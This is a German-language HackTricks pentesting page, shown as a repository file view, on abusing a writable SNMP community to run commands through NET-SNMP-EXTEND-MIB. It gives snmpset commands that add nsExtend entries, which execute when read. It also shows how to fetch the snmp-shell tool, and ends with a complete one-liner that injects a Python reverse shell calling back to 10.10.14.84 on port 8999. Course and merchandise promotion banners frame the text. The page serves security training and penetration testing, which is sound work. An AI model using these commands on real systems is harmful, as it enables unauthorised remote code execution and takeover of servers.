hacktricks/network-services-pentesting/pentesting-snmp/snmp-rce.md

73 lines
5.5 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei oder folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories senden.**
2022-04-28 16:01:33 +00:00
</details>
2024-02-03 16:02:14 +00:00
# SNMP RCE
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
SNMP kann von einem Angreifer ausgenutzt werden, wenn der Administrator die Standardkonfiguration auf dem Gerät oder Server übersieht. Durch **Missbrauch der SNMP-Community mit Schreibberechtigungen (rwcommunity)** auf einem Linux-Betriebssystem kann der Angreifer Befehle auf dem Server ausführen.
2021-04-19 17:04:40 +00:00
2024-02-10 15:36:32 +00:00
## Erweiterung von Diensten mit zusätzlichen Befehlen
2021-04-19 17:04:40 +00:00
2024-02-10 15:36:32 +00:00
Um SNMP-Dienste zu erweitern und zusätzliche Befehle hinzuzufügen, ist es möglich, neue **Zeilen zur Tabelle "nsExtendObjects"** hinzuzufügen. Dies kann durch Verwendung des Befehls `snmpset` und Bereitstellung der erforderlichen Parameter erreicht werden, einschließlich des absoluten Pfads zur ausführbaren Datei und des auszuführenden Befehls:
2021-04-19 17:04:40 +00:00
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
```
2024-02-10 15:36:32 +00:00
## Einfügen von Befehlen zur Ausführung
2021-04-19 17:04:40 +00:00
2024-02-10 15:36:32 +00:00
Das Einfügen von Befehlen zur Ausführung auf dem SNMP-Dienst erfordert das Vorhandensein und die Ausführbarkeit der aufgerufenen Binärdatei/Skript. Die **`NET-SNMP-EXTEND-MIB`** schreibt vor, den absoluten Pfad zur ausführbaren Datei anzugeben.
2021-04-19 17:04:40 +00:00
2024-02-10 15:36:32 +00:00
Um die Ausführung des injizierten Befehls zu bestätigen, kann der Befehl `snmpwalk` verwendet werden, um den SNMP-Dienst aufzulisten. Die **Ausgabe zeigt den Befehl und seine zugehörigen Details**, einschließlich des absoluten Pfads:
2021-04-19 17:04:40 +00:00
```bash
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
```
2024-02-10 15:36:32 +00:00
## Ausführen der injizierten Befehle
2021-04-19 17:04:40 +00:00
2024-02-10 15:36:32 +00:00
Wenn der **injizierte Befehl gelesen wird, wird er ausgeführt**. Dieses Verhalten wird als **`run-on-read()`** bezeichnet. Die Ausführung des Befehls kann während des snmpwalk-Lesevorgangs beobachtet werden.
2021-04-19 17:04:40 +00:00
2024-02-10 15:36:32 +00:00
### Erlangen einer Server-Shell mit SNMP
2021-04-19 17:04:40 +00:00
2024-02-10 15:36:32 +00:00
Um die Kontrolle über den Server zu erlangen und eine Server-Shell zu erhalten, kann ein Python-Skript von mxrch verwendet werden. Das Skript kann von [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git) heruntergeladen werden.
2021-04-19 17:04:40 +00:00
2024-02-10 15:36:32 +00:00
Alternativ kann eine Reverse-Shell manuell erstellt werden, indem ein bestimmter Befehl in SNMP injiziert wird. Dieser Befehl, der durch den snmpwalk ausgelöst wird, stellt eine Reverse-Shell-Verbindung zum Angreifer her und ermöglicht die Kontrolle über die Opfermaschine.
Sie können die Voraussetzung für die Ausführung installieren:
2021-04-19 17:04:40 +00:00
```bash
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
```
2024-02-10 15:36:32 +00:00
Oder eine Reverse-Shell:
2021-04-19 17:04:40 +00:00
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
```
2024-02-10 15:36:32 +00:00
## Referenzen
2024-02-03 16:02:14 +00:00
* [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
2022-04-28 16:01:33 +00:00
</details>